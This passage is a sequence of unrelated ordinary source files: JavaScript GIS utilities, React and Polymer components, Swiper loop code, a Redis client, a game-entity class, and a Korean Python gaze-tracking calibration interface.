'undefined') { defArray.push(layer.queryFeatures(query)); } } } return defArray; }; mo.updateTabCount = function (count, updateNode, displayCount, baseLabel, incidentCount) { var hasIncident = (typeof (incidentCount) !== 'undefined' && incidentCount > 0) ? true : false; var currentWidth = domGeom.position(updateNode).w; if (typeof (count) !== 'undefined' && count === 0) { domClass.remove(updateNode, 'noFeatures'); domClass.remove(updateNode, 'noFeaturesActive'); domClass.add(updateNode, hasIncident ? 'noFeaturesActive' : 'noFeatures'); } else { if (hasIncident && domClass.contains(updateNode, 'noFeatures')) { domClass.remove(updateNode, 'noFeatures'); } if (hasIncident && domClass.contains(updateNode, 'noFeaturesActive')) { domClass.remove(updateNode, 'noFeaturesActive'); } } if (displayCount) { var label; if (typeof (count) !== 'undefined') { label = baseLabel + " (" + utils.localizeNumber(count).toString() + ")"; } else { label = baseLabel; } updateNode.innerHTML = label; } var newWidth = domGeom.position(updateNode).w; var adjustWidth = 0; var add; if (newWidth > currentWidth) { add = true; adjustWidth = newWidth - currentWidth; } else if (currentWidth > newWidth) { add = false; adjustWidth = currentWidth - newWidth; } var pNodeW = domGeom.position(updateNode.parentNode).w; if (pNodeW > 0) { var pw = add ? pNodeW + adjustWidth : pNodeW - adjustWidth; domStyle.set(updateNode.parentNode, "width", pw + "px"); var footerContentNode = updateNode.parentNode.parentNode; var footerNode = footerContentNode.parentNode; var panelRight; if (footerNode && footerNode.children && footerNode.children.length > 0) { for (var i = 0; i < footerNode.children.length; i++) { var c = footerNode.children[i]; if (c.className.indexOf('SA_panelRight') > -1) { panelRight = c; break; } } } if (panelRight && footerContentNode) { if (pw > domGeom.position(footerNode).w) { domStyle.set(footerContentNode, 'right', "58" + "px"); domStyle.set(panelRight, 'display', 'block'); } else { domStyle.set(footerContentNode, 'right', "24px"); domStyle.set(panelRight, 'display', 'none'); } } } }; mo.getDistanceLabel = function (dist, unit, label) { return (Math.round(dist * 100) / 100) + " " + unit + " (" + label + ")"; }; mo.getSum = function (features, field) { var value = 0; array.forEach(features, function (gra) { value += gra.attributes[field]; }); return value; }; mo.getMin = function (features, field) { features.sort(sortResults(field)); return features[0].attributes[field]; }; mo.getMax = function (features, field) { features.sort(sortResults(field)); features.reverse(); return features[0].attributes[field]; }; mo.getArea = function (features, geoms, distanceSettings, distanceUnits, advStat) { var value = 0; var areaUnits = lang.clone(distanceSettings); areaUnits.miles = 109413; areaUnits.kilometers = 109414; areaUnits.feet = 109405; areaUnits.meters = 109404; areaUnits.yards = 109442; areaUnits.nauticalMiles = 109409; var units = distanceUnits; var unitCode = areaUnits[units]; var info; if (advStat && advStat.stats && advStat.stats.area && advStat.stats.area.length > 0) { info = advStat.stats.area[0]; } array.forEach(features, function (gra) { for (var i = 0; i < geoms.length; i++) { var sg = geoms[i]; var intersectGeom = geometryEngine.intersect(gra.geometry, sg); if (intersectGeom !== null) { var sr = intersectGeom.spatialReference; if (sr.wkid === 4326 || sr.isWebMercator() || (sr.isGeographic && sr.isGeographic())) { value += geometryEngine.geodesicArea(intersectGeom, unitCode); } else { value += geometryEngine.planarArea(intersectGeom, unitCode); } } } }); return this.formatNumber(value, info).total; }; mo.getLength = function (features, geoms, distanceSettings, distanceUnits, advStat) { var value = 0; var units = distanceUnits; var unitCode = distanceSettings[units]; var info; if (advStat && advStat.stats && advStat.stats.length && advStat.stats.length.length > 0) { info = advStat.stats.length[0]; } array.forEach(features, function (gra) { for (var i = 0; i < geoms.length; i++) { var sg = geoms[i]; var intersectGeom = geometryEngine.intersect(gra.geometry, sg); if (intersectGeom !== null) { var sr = intersectGeom.spatialReference; if (sr.wkid === 4326 || sr.isWebMercator() || (sr.isGeographic && sr.isGeographic())) { value += geometryEngine.geodesicLength(intersectGeom, unitCode); } else { value += geometryEngine.planarLength(intersectGeom, unitCode); } } } }); return this.formatNumber(value, info).total; }; mo.getDistance = function (geom1, geom2, units) { var p1 = geom1.type !== 'point' ? geom1.getExtent().getCenter() : geom1; var p2 = geom2.type !== 'point' ? geom2.getExtent().getCenter() : geom2; var l = new Polyline([[p1.x, p1.y], [p2.x, p2.y]]); l.spatialReference = geom1.spatialReference; var dist; units = units === "nauticalMiles" ? "nautical-miles" : units; if (geom1.spatialReference.wkid === 4326 || geom1.spatialReference.isWebMercator()) { dist = geometryEngine.geodesicLength(l, units); } else { dist = geometryEngine.planarLength(l, units); } return dist; }; mo.compareDistance = function (a, b) { if (a.attributes.DISTANCE < b.attributes.DISTANCE) { return -1; } if (a.attributes.DISTANCE > b.attributes.DISTANCE) { return 1; } return 0; }; // o is expected to have //modify, round, roundPlaces, truncate, truncatePlaces, total mo.formatNumber = function(v, o) { var n = v; if (!isNaN(v) && v !== null && v !== '') { var modifyField = o && o.modify && !isNaN(v); var truncateExp; if (modifyField && typeof(o.truncatePlaces) !== 'undefined' && !isNaN(o.truncatePlaces)) { truncateExp = new RegExp(o.truncatePlaces > 0 ? "^\\d*[.]?\\d{0," + o.truncatePlaces + "}" : "^\\d*"); } n = modifyField && o.round ? v.toFixed(o.roundPlaces) * 1 : modifyField && o.truncate ? truncateExp.exec(v)[0] * 1 : v; if (isNaN(n)) { n = 0; } } return { total: n, num: !isNaN(n) && n !== null && n !== '' ? utils.localizeNumber(n) : n }; }; // sort results function sortResults(property) { return function (a, b) { var result = (a.attributes[property] < b.attributes[property]) ? -1 : (a.attributes[property] > b.attributes[property]) ? 1 : 0; return result; }; }; mo.getPopupConfiguredFields = function (layer) { var popupFields = []; var mapLayers = layer; if (typeof (layer.popupInfo) !== 'undefined') { array.forEach(layer.popupInfo.fieldInfos, lang.hitch(this, function (field) { if (field.visible) { popupFields.push(field.fieldName); } })); } else if (layer.infoTemplate) { array.forEach(layer.infoTemplate.info.fieldInfos, lang.hitch(this, function (field) { if (field.visible) { popupFields.push(field.fieldName); } })); } return popupFields; }; return mo; });
import Board from './components/Board' export default Board
import { persistReducer } from 'redux-persist'; import storage from 'redux-persist/lib/storage'; export default reducers => { const persistedReducer = persistReducer( { storage, key: 'gobarber', whitelist: ['auth', 'user'] }, reducers ); return persistedReducer; };
import React, {Component} from 'react' import {Animated} from 'react-animated-css' import {Link} from 'react-router-dom' export default class EndOfExploration extends Component { render() { return ( <Animated animationIn="fadeIn" animationOut="fadeOut" isVisible={true}> <div id="eoe-container"> <div id="end-of-exp"> <h2>MISSION COMPLETE</h2> <div id="eoe-message"> <p> You've explored every exoplanet and completed your journey...{' '} </p> <p> now it's time to go back to Earth and confirm your findings. </p> </div> <br /> <Link to="/earth"> <button type="button">Back To Earth</button> </Link> </div> </div> </Animated> ) } }
"use strict"; exports.__esModule = true; exports.default = loopCreate; var _ssrWindow = require("ssr-window"); var _dom = _interopRequireDefault(require("../../../utils/dom")); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function loopCreate() { var swiper = this; var document = (0, _ssrWindow.getDocument)(); var params = swiper.params, $wrapperEl = swiper.$wrapperEl; // Remove duplicated slides $wrapperEl.children("." + params.slideClass + "." + params.slideDuplicateClass).remove(); var slides = $wrapperEl.children("." + params.slideClass); if (params.loopFillGroupWithBlank) { var blankSlidesNum = params.slidesPerGroup - slides.length % params.slidesPerGroup; if (blankSlidesNum !== params.slidesPerGroup) { for (var i = 0; i < blankSlidesNum; i += 1) { var blankNode = (0, _dom.default)(document.createElement('div')).addClass(params.slideClass + " " + params.slideBlankClass); $wrapperEl.append(blankNode); } slides = $wrapperEl.children("." + params.slideClass); } } if (params.slidesPerView === 'auto' && !params.loopedSlides) params.loopedSlides = slides.length; swiper.loopedSlides = Math.ceil(parseFloat(params.loopedSlides || params.slidesPerView, 10)); swiper.loopedSlides += params.loopAdditionalSlides; if (swiper.loopedSlides > slides.length) { swiper.loopedSlides = slides.length; } var prependSlides = []; var appendSlides = []; slides.each(function (el, index) { var slide = (0, _dom.default)(el); if (index < swiper.loopedSlides) { appendSlides.push(el); } if (index < slides.length && index >= slides.length - swiper.loopedSlides) { prependSlides.push(el); } slide.attr('data-swiper-slide-index', index); }); for (var _i = 0; _i < appendSlides.length; _i += 1) { $wrapperEl.append((0, _dom.default)(appendSlides[_i].cloneNode(true)).addClass(params.slideDuplicateClass)); } for (var _i2 = prependSlides.length - 1; _i2 >= 0; _i2 -= 1) { $wrapperEl.prepend((0, _dom.default)(prependSlides[_i2].cloneNode(true)).addClass(params.slideDuplicateClass)); } }
exports.command = function(callback) { this.source( function(result) { if (result.status == 0) { if (typeof callback === "function") { callback(result.value); } } else { if (typeof callback === "function") { callback(result); } } } ); };
// TODO: Should be some way to make this into a lib: `redis-from-config` var redis = require("redis"); var bluebird = require("bluebird"); var config = require("config"); // NOTE: Promisify all redis methods bluebird.promisifyAll(redis.RedisClient.prototype) bluebird.promisifyAll(redis.Multi.prototype) // Create and configure the redis client var client = redis.createClient( { "port": config.get("redis.port"), "host": config.get("redis.host"), "auth_pass": config.get("redis.password") } ); // Export the redis client module.exports = client; // Select the database index (think name in traditional SQL) client.select(config.get("redis.database"));
/** * @license * Copyright 2015 Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ foam.CLASS({ package: 'foam.u2', name: 'IntView', extends: 'foam.u2.TextField', properties: [ [ 'type', 'number' ], { class: 'Int', name: 'data' }, 'min', 'max' ], methods: [ function render() { this.SUPER(); if ( this.min != undefined ) this.setAttribute('min', this.min); if ( this.max != undefined ) this.setAttribute('max', this.max); }, function link() { this.attrSlot(null, this.onKey ? 'input' : null).linkFrom(this.data$) }, function fromProperty(p) { this.SUPER(p); this.min = p.min; this.max = p.max; } ] });
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.MinersWife = void 0; const BaseGameEntity_1 = require("./BaseGameEntity"); const StateMachine_1 = require("./StateMachine"); const Locations_1 = require("./Locations"); const MinersWifeOwnedStates_1 = require("./MinersWifeOwnedStates"); class MinersWife extends BaseGameEntity_1.BaseGameEntity { constructor(id) { super(id); this._location = Locations_1.LOCATION_TYPE.SHACK; this._stateMachine = new StateMachine_1.StateMachine(this); this._stateMachine.currentState = MinersWifeOwnedStates_1.DoHouseWork.getInstance(); this._stateMachine.globalState = MinersWifeOwnedStates_1.WifesGlobalState.getInstance(); } get FSM() { return this._stateMachine; } get location() { return this._location; } set changeLocation(location) { this._location = location; } update() { this._stateMachine.update(); } } exports.MinersWife = MinersWife;
#!/usr/bin/env python # -*- coding: utf-8 -*- try: from unittest import mock except ImportError: import mock __all__ = ['mock']
import sys import threading import cv2 import keyboard import pyautogui import pandas as pd from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import QImage, QPalette, QBrush from PyQt5.QtWidgets import QWidget, QApplication from playsound import playsound from gaze_tracking import GazeTracking # 마우스 이벤트 변수 sensitivity_x = 400 is_mouse_down = False is_next = False counting = 0 # 음성 출력 함수 def play_narrator(msg, file_name): playsound("./audio./" + file_name + "_audio.mp3") print(msg + '가 출력됩니다. - 파일명 : [' + file_name + '_audio.mp3]') class main(QWidget): def __init__(self): super().__init__() self.setWindowTitle("Calibration") """변수 선언""" self.titleClass = None # 현재 디스플레이 사이즈 self.screen_width, self.screen_height = pyautogui.size() # 카메라 초기세팅 self.webCam = 1 self.gaze = GazeTracking() self.counting = 0 # 설정된 민감도 self.sens = None self.load_sens() # 파일 안의 값을 기준으로 초기화 # 색상표 self.color = {'gray': (153, 153, 153), 'green': (255, 149, 35), 'darkGray': (51, 51, 51), 'white': (255, 255, 255), 'red': (153, 153, 204)} # 민감도 self.sensitivity = 1 # (0~2) # 방향 self.direction = 0 # (0~4, 위, 아래, 왼쪽, 오른쪽) # rect 시작위치, 종료위치, 텍스트 내용과 위치 self.rectLoc = [ [(700, 185), (750, 235), ("up", (710, 215))], [(700, 245), (750, 295), ("down", (700, 275))], [(700, 305), (750, 355), ("left", (706, 335))], [(700, 365), (750, 415), ("right", (703, 395))] ] """버튼,라벨 생성""" self.btn_next1 = QPushButton(self) self.btn_next2 = QPushButton(self) self.btn_next3 = QPushButton(self) self.btn_next4 = QPushButton(self) self.textLabel0 = QLabel(self) self.textLabel1 = QLabel(self) self.textLabel2 = QLabel(self) self.textLabel3 = QLabel(self) self.textLabel4 = QLabel(self) self.textLabel5 = QLabel(self) self.textLabel6 = QLabel(self) self.textLabel7 = QLabel(self) self.textLabel8 = QLabel(self) """버튼, 라벨 붙이기""" # 다음 버튼 self.btn_next1.setText("다음") self.btn_next1.setGeometry(900, 920, 200, 100) # x, y, 버튼 가로, 버튼 세로 self.btn_next1.clicked.connect(self.next_clicked) self.btn_next1.setStyleSheet('border: 2px solid #d0d0d0; font: 30pt "배달의민족 을지로체 TTF"; border-radius: 20px; background-color: rgb(35, 149, 255); border-style: outset; color:white;') # 뒤로 가기 버튼 self.btn_next4.setText("뒤로가기") self.btn_next4.setGeometry(1800, 20, 100, 50) # x, y, 버튼 가로, 버튼 세로 self.btn_next4.clicked.connect(self.back_clicked) self.btn_next4.setStyleSheet( 'border: 2px solid #d0d0d0; font: 14pt "배달의민족 을지로체 TTF"; border-radius: 20px; background-color: rgb(255, 0, 0); border-style: outset; color:white;') # 플레이 버튼 self.btn_next2.setText("Play") self.btn_next2.setGeometry(1150, 910, 200, 100) # x, y, 버튼 가로, 버튼 세로 self.btn_next2.clicked.connect(self.play_clicked) self.btn_next2.setStyleSheet('border: 2px solid #d0d0d0; font: 30pt "배달의민족 을지로체 TTF"; border-radius: 20px; background-color: rgb(35, 149, 255); border-style: outset; color:white;') # 이전 버튼 self.btn_next3.setText("Back") self.btn_next3.setGeometry(650, 910, 200, 100) # x, y, 버튼 가로, 버튼 세로 self.btn_next3.clicked.connect(self.set_notice) self.btn_next3.setStyleSheet('border: 2px solid #d0d0d0; font: 30pt "배달의민족 을지로체 TTF"; border-radius: 20px; background-color: rgb(35, 149, 255); border-style: outset; color:white;') # 민감도 self.textLabel1.setText(repr(self.sens['up'])) self.textLabel1.resize(1800, 80) self.textLabel1.move(1000, 220) self.textLabel1.setStyleSheet("font: 30pt Comic Sans MS") self.textLabel2.setText(repr(self.sens['down'])) self.textLabel2.resize(1800, 80) self.textLabel2.move(1020, 340) self.textLabel2.setStyleSheet("font: 30pt Comic Sans MS") self.textLabel3.setText(repr(self.sens['left'])) self.textLabel3.resize(1800, 80) self.textLabel3.move(1020, 460) self.textLabel3.setStyleSheet("font: 30pt Comic Sans MS") self.textLabel4.setText(repr(self.sens['right'])) self.textLabel4.resize(1800, 80) self.textLabel4.move(1040, 580) self.textLabel4.setStyleSheet("font: 30pt Comic Sans MS") # csv파일로 부터 읽은 값 보이기 self.show_fix() self.set_notice() # threading self.cam_th = threading.Thread(target=self.cameraON) self.cam_trigger = False print('def __init__') def load_sens(self): self.r_sens = pd.read_csv('./file/sensitivity.csv') # 파일로 부터 읽어 온 sens 값 self.sens = {'up': self.r_sens['up'], 'down': self.r_sens['down'], 'right': self.r_sens['right'], 'left': self.r_sens['left']} def valueHandler(self, value): scaleValue = float(value) / 100 print(scaleValue, type(scaleValue)) def set_notice(self): # 배경설정 전체 화면에 맞게 설정 self.background_path = "./image/notice.png" self.oImage = QImage(self.background_path) self.sImage = self.oImage.scaled(QSize(self.screen_width, self.screen_height)) # 파렛트 설정 self.palette = QPalette() self.palette.setBrush(10, QBrush(self.sImage)) self.setPalette(self.palette) self.textLabel1.setVisible(False) self.textLabel2.setVisible(False) self.textLabel3.setVisible(False) self.textLabel4.setVisible(False) self.btn_next1.setVisible(True) self.btn_next4.setVisible(True) self.btn_next2.setVisible(False) self.btn_next3.setVisible(False) self.cam_th = threading.Thread(target=self.cameraON) self.cam_trigger = False print('def set_notice') def set_check(self): # 배경설정 전체 화면에 맞게 설정 self.background_path = "./image/check.png" self.oImage = QImage(self.background_path) self.sImage = self.oImage.scaled(QSize(self.screen_width, self.screen_height)) # 파렛트 설정 self.palette = QPalette() self.palette.setBrush(10, QBrush(self.sImage)) self.setPalette(self.palette) self.textLabel1.setVisible(True) self.textLabel2.setVisible(True) self.textLabel3.setVisible(True) self.textLabel4.setVisible(True) self.btn_next1.setVisible(False) self.btn_next4.setVisible(False) self.btn_next2.setVisible(True) self.btn_next3.setVisible(True) self.textLabel1.setText(repr(self.sens['up'][0])) self.textLabel2.setText(repr(self.sens['down'][0])) self.textLabel3.setText(repr(self.sens['left'][0])) self.textLabel4.setText(repr(self.sens['right'][0])) print('def set_check') # notice 화면에 있는 뒤로가기 버튼 def back_clicked(self): self.titleClass.show() self.hide() def play_clicked(self): '''# 민감도 파일 저장 with open("./file/sensitibity.txt", 'w') as f: for k in self.sens.values(): f.writelines(str(k))''' self.titleClass.show() self.set_notice() self.hide() print('def play_clicked') def open(self): self.set_check() self.update() self.show() print('def open') '''def valueHandler(self, value): pass''' def cameraON(self): self.webCam = cv2.VideoCapture(0) self.cam_trigger = True print('def cameraON') def next_clicked(self): global sensitivity_x global is_mouse_down global counting self.hide() self.cam_th.run() # 윈도우 설정 cv2.namedWindow("calibration", cv2.WND_PROP_FULLSCREEN) cv2.setWindowProperty("calibration", cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN) print('def next_clicked') while True: if self.cam_trigger is True: _, camFrame = self.webCam.read() camFrame = cv2.flip(camFrame, 1) camFrame = cv2.resize(camFrame, dsize=(800, 600), interpolation=cv2.INTER_AREA) # 얼굴 측정 self.gaze.refresh(camFrame) camFrame = self.gaze.annotated_frame() # 좌측 상단 텍스트 text = "" text1 = "" # if self.gaze.is_blinking(): # text = "Blinking" if self.gaze.is_right(): text = "Looking right" elif self.gaze.is_left(): text = "Looking left" elif self.gaze.is_center(): text = "Looking center" if self.gaze.is_up(): text1 = "Looking up" elif self.gaze.is_down(): text1 = "Looking down" elif self.gaze.is_center(): text1 = "Looking center" cv2.putText(camFrame, text, (90, 60), cv2.FONT_HERSHEY_DUPLEX, 1.6, (147, 58, 31), 2) cv2.putText(camFrame, text1, (90, 100), cv2.FONT_HERSHEY_DUPLEX, 1.6, (147, 58, 31), 2) # 하단의 민감도 기본 회색 틀 (숫자, 원, 텍스트, 네모, 라인, 화살표라인) cv2.putText(camFrame, repr((sensitivity_x - 250) / 100), (385, 520), cv2.FONT_HERSHEY_DUPLEX, 0.6, self.color["green"], 1) cv2.line(camFrame, (250, 550), (550, 550), self.color["gray"], 6) # 우측의 방향 선택 cv2.line(camFrame, (725, 190), (725, 400), self.color["gray"], 2) cv2.arrowedLine(camFrame, (725, 155), (725, 105), self.color["gray"], 2, tipLength=0.5) cv2.arrowedLine(camFrame, (725, 445), (725, 495), self.color["gray"], 2, tipLength=0.5) # 우측 하단의 next 버튼 cv2.rectangle(camFrame, (690, 535), (760, 565), self.color["green"], -1) cv2.putText(camFrame, "next", (700, 555), cv2.FONT_HERSHEY_DUPLEX, 0.7, self.color["white"], 1) # 우측 하단의 init 버튼 cv2.rectangle(camFrame, (590, 535), (660, 565), self.color["green"], -1) cv2.putText(camFrame, "init", (609, 555), cv2.FONT_HERSHEY_DUPLEX, 0.7, self.color["white"], 1) # 좌측 하단의 뒤로가기 버튼 cv2.rectangle(camFrame, (100, 535), (170, 565), self.color["gray"], -1) cv2.putText(camFrame, "back", (108, 555), cv2.FONT_HERSHEY_DUPLEX, 0.7, self.color["darkGray"], 1) # 슬라이드 선택 원 (파란 원) cv2.circle(camFrame, (sensitivity_x, 550), 10, self.color['green'], -1) # 다음 화면 넘어가게 하기 global is_next if is_next is True: # 종료시에 webCam 끄고, window 닫고, 다음 화면으로 전환한다. self.webCam.release() cv2.destroyAllWindows() is_next = False break # 800 600 네모 for idx in range(len(self.rectLoc)): if idx is self.direction: cv2.rectangle(camFrame, self.rectLoc[idx][0], self.rectLoc[idx][1], self.color["green"], -1) cv2.putText(camFrame, self.rectLoc[idx][2][0], self.rectLoc[idx][2][1], cv2.FONT_HERSHEY_DUPLEX, 0.7, self.color["white"], 1) else: cv2.rectangle(camFrame, self.rectLoc[idx][0], self.rectLoc[idx][1], self.color["gray"], -1) cv2.putText(camFrame, self.rectLoc[idx][2][0], self.rectLoc[idx][2][1], cv2.FONT_HERSHEY_DUPLEX, 0.7, self.color["darkGray"], 1) if self.gaze.pupils_located: if self.direction is 0: # recommand up cv2.putText(camFrame, "recommand : " + str(round(self.gaze.vertical_ratio(),2)), (90,140), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,0,0), 1, cv2.LINE_AA) elif self.direction is 1: # recommand down cv2.putText(camFrame, "recommand : " + str(round(self.gaze.vertical_ratio(),2)), (90,140), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,0,0), 1, cv2.LINE_AA) elif self.direction is 2: # recommand left cv2.putText(camFrame, "recommand : " + str(round(self.gaze.horizontal_ratio(),2)), (90,140), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,0,0), 1, cv2.LINE_AA) elif self.direction is 3: #recommand right cv2.putText(camFrame, "recommand : " + str(round(self.gaze.horizontal_ratio(),2)), (90,140), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,0,0), 1, cv2.LINE_AA) else: pass # 키보드 입력 및 이벤트 if keyboard.is_pressed('left arrow'): print('keyboard pressed') if sensitivity_x > 250: sensitivity_x -= 1 elif keyboard.is_pressed('right arrow'): if sensitivity_x < 550: sensitivity_x += 1 elif keyboard.is_pressed('up arrow'): if self.direction > 0: self.direction -= 1 self.show_fix() elif keyboard.is_pressed('down arrow'): if self.direction < 3: self.direction += 1 self.show_fix() elif keyboard.is_pressed('enter'): # init if self.direction is 0: self.sens['up'] = 1.5 elif self.direction is 1: self.sens['down'] = 1.5 elif self.direction is 2: self.sens['left'] = 1.5 elif self.direction is 3: self.sens['right'] = 1.5 self.show_fix() thread_sound = threading.Thread(target=play_narrator, args=("효과음", "ding",)) thread_sound.start() elif keyboard.is_pressed('n'): self.open() is_next = True # 키보드 릴리즈 이벤트 수정바람 # elif keyboard.release('down arrow') or keyboard.release('up arrow') or keyboard.release('right arrow') or keyboard.release('left arrow'): # print('keyboard released') # self.set_sensitivity() else: pass # 민감도 조절 '''self.gaze.change_limit(self.direction, self.sensitivity)''' # 윈도우 띄우기 cv2.imshow("calibration", camFrame) cv2.setMouseCallback('calibration', self.mouseEvent) if cv2.waitKey(1) == 27: break # 수정된 민감도 조정 및 화면에 바로 띄우기 def set_sensitivity(self): if self.direction is 0: self.sens['up'] = (sensitivity_x - 250) / 100 elif self.direction is 1: self.sens['down'] = (sensitivity_x - 250) / 100 elif self.direction is 2: self.sens['left'] = (sensitivity_x - 250) / 100 elif self.direction is 3: self.sens['right'] = (sensitivity_x - 250) / 100 self.r_sens['up'] = self.sens['up'] self.r_sens['down'] = self.sens['down'] self.r_sens['right'] = self.sens['right'] self.r_sens['left'] = self.sens['left'] self.r_sens = self.r_sens[['up', 'down', 'right', 'left']] self.r_sens.to_csv('./file/sensitivity.csv') self.load_sens() self.gaze.load_threshold() # 슬라이드에 fix 된 값 보여주기 def show_fix(self): global sensitivity_x if self.direction is 0: sensitivity_x = int(self.sens['up'] * 100.0 + 250.0) elif self.direction is 1: sensitivity_x = int(self.sens['down'] * 100.0 + 250.0) elif self.direction is 2: sensitivity_x = int(self.sens['left'] * 100.0 + 250.0) elif self.direction is 3: sensitivity_x = int(self.sens['right'] * 100.0 + 250.0) # 마우스 이벤트 def mouseEvent(self, event, x, y, flags, param): global sensitivity_x global is_mouse_down global is_next if event == cv2.EVENT_LBUTTONDOWN: print('button click') # 슬라이드 if 250 <= x <= 550 and 545 <= y <= 555: is_mouse_down = True sensitivity_x = x # 우측 방향 선택 버튼 if 700 <= x <= 750 and 185 <= y <= 235: # up button self.direction = 0 self.show_fix() elif 700 <= x <= 750 and 245 <= y <= 295: # down button self.direction = 1 self.show_fix() elif 700 <= x <= 750 and 305 <= y <= 355: # left button self.direction = 2 self.show_fix() elif 700 <= x <= 750 and 365 <= y <= 415: # right button self.direction = 3 self.show_fix() elif 690 <= x <= 760 and 535 <= y <= 565: # 다음 버튼 self.open() is_next = True elif 100 <= x <= 170 and 535 <= y <= 565: # back 버튼 is_next = True self.cam_th = threading.Thread(target=self.cameraON) self.showFullScreen() # 초기화 버튼 elif 590 <= x <= 660 and 535 <= y <= 565: # init 버튼 if self.direction is 0: self.sens['up'] = 1.5 elif self.direction is 1: self.sens['down'] = 1.5 elif self.direction is 2: self.sens['left'] = 1.5 elif self.direction is 3: self.sens['right'] = 1.5 self.show_fix() thread_sound = threading.Thread(target=play_narrator, args=("효과음", "ding",)) thread_sound.start() elif event == cv2.EVENT_MOUSEMOVE and is_mouse_down is True: print('button click') if 250 <= x <= 550 and 545 <= y <= 555: sensitivity_x = x elif x < 250: sensitivity_x = 250 elif x > 550: sensitivity_x = 550 elif event == cv2.EVENT_LBUTTONUP: is_mouse_down = False self.set_sensitivity() def starter(self, titleClass): self.titleClass = titleClass self.showFullScreen() print('def start') if __name__ == "__main__": app = QApplication(sys.argv) form = main() form.showFullScreen() sys.exit(app.exec_())
// http://goo.gl/IRlJuI ;(function(d){"use strict";d.head.appendChild(d.createElement("style")).innerHTML=".hljs{display:block;overflow-x:auto;padding:15px .5em .5em 30px;font-size:11px !important;line-height:16px !important;-webkit-text-size-adjust:none}pre{background:#f6f6ae url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA9sAAAAQCAYAAAAGTmw2AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAF4SURBVHja7N27TsMwFAZgu0WMDPRB2HloFl6Ch0DqysJIJSTIoaUSapPYcdoOqPq+JerFlxxHlf+lzpvNU5fmiNhfc25vs0453W2vq30PCQAAAK7YzS42z2qR87ljZmUHAADgmi2UAAAAAIRtAAAAELYBAABA2AYAAACEbQAAABC2AQAAQNg+kwO/AAAAELYvLBQbAAAAYRsAAAAQtgEAAEDYBgAAAGH7ZN+KDQAAgLAtbAMAAMAJ8sv7Z+P/hO/O7orfa/yd4xWDz47f33/28PacPm5X6fX+saHd4Rlh0Ru/JirfiF4fpXEO5xNNYw77GXsdE/dQqkFtni391+5lWNsYXZNzHK7JvLWcfjZKfdZqPVXn47Y5dSnnzq8EDY/69pnJjlyw1uaLtVGL67rniN2+fzGSCfr7sNTbS03tq6OQNVr6LbVLM8avzSEaxijtJ1Nh/LG8kWaMn0b2qsPvLfNXNRFdQhfLGTX7L894y1xOXZe6HwEGAEeJamT41YtiAAAAAElFTkSuQmCC\");border-top:solid 2px #d2e8b9;border-bottom:solid 1px #d2e8b9}.hljs-keyword,.hljs-literal,.hljs-change,.hljs-winutils,.hljs-flow,.nginx .hljs-title,.tex .hljs-special{color:#059;font-weight:bold}.hljs,.hljs-subst,.hljs-tag .hljs-keyword{color:#3e5915}.hljs-string,.hljs-title,.hljs-type,.hljs-tag .hljs-value,.css .hljs-rules .hljs-value,.hljs-preprocessor,.hljs-pragma,.ruby .hljs-symbol,.ruby .hljs-symbol .hljs-string,.ruby .hljs-class .hljs-parent,.hljs-built_in,.django .hljs-template_tag,.django .hljs-variable,.smalltalk .hljs-class,.hljs-javadoc,.ruby .hljs-string,.django .hljs-filter .hljs-argument,.smalltalk .hljs-localvars,.smalltalk .hljs-array,.hljs-attr_selector,.hljs-pseudo,.hljs-addition,.hljs-stream,.hljs-envvar,.apache .hljs-tag,.apache .hljs-cbracket,.nginx .hljs-built_in,.tex .hljs-command,.coffeescript .hljs-attribute{color:#2c009f}.hljs-comment,.hljs-annotation,.hljs-decorator,.hljs-pi,.hljs-doctype,.hljs-deletion,.hljs-shebang,.apache .hljs-sqbracket{color:#e60415}.hljs-keyword,.hljs-literal,.css .hljs-id,.hljs-phpdoc,.hljs-dartdoc,.hljs-title,.hljs-type,.vbscript .hljs-built_in,.rsl .hljs-built_in,.smalltalk .hljs-class,.xml .hljs-tag .hljs-title,.diff .hljs-header,.hljs-chunk,.hljs-winutils,.bash .hljs-variable,.apache .hljs-tag,.tex .hljs-command,.hljs-request,.hljs-status{font-weight:bold}.coffeescript .javascript,.javascript .xml,.tex .hljs-formula,.xml .javascript,.xml .vbscript,.xml .css,.xml .hljs-cdata{opacity:.5}"})(document);
(function(){ window.BMap_loadScriptTime = (new Date).getTime(); document.write('<script type="text/javascript" src="http://api.map.baidu.com/getscript?v=2.0&ak=CnGhlH8qCfawMGRv0hDCFcxE&services=&t=20180521160403"></script>');})();
import {html, PolymerElement} from '@polymer/polymer/polymer-element.js'; import '@vaadin/vaadin-ordered-layout/src/vaadin-vertical-layout.js'; import '@vaadin/vaadin-ordered-layout/src/vaadin-horizontal-layout.js'; import '@vaadin/vaadin-text-field/src/vaadin-text-field.js'; import '@polymer/iron-icon/iron-icon.js'; import '@vaadin/vaadin-button/src/vaadin-button.js'; class ProfileView extends PolymerElement { static get template() { return html` <style include="shared-styles"> :host { display: block; height: 100%; } .shadow { -webkit-box-shadow: 0px -6px 5px 2px #ccc; /* Safari 3-4, iOS 4.0.2 - 4.2, Android 2.3+ */ -moz-box-shadow: 0px -6px 5px 2px #ccc; /* Firefox 3.5 - 3.6 */ box-shadow: 0px -6px 5px 2px #ccc; /* Opera 10.5, IE 9, Firefox 4+, Chrome 6+, iOS 5 */ } </style> <vaadin-vertical-layout style="width: 100%; height: 100%; background-color: white;"> <vaadin-vertical-layout theme="spacing" style="align-self: stretch; height: fit-content; align-items: center; flex-grow: 0;"> <vaadin-horizontal-layout theme="spacing" style="align-self: stretch; align-items: center;"> <vaadin-button theme="icon contrast large tertiary" 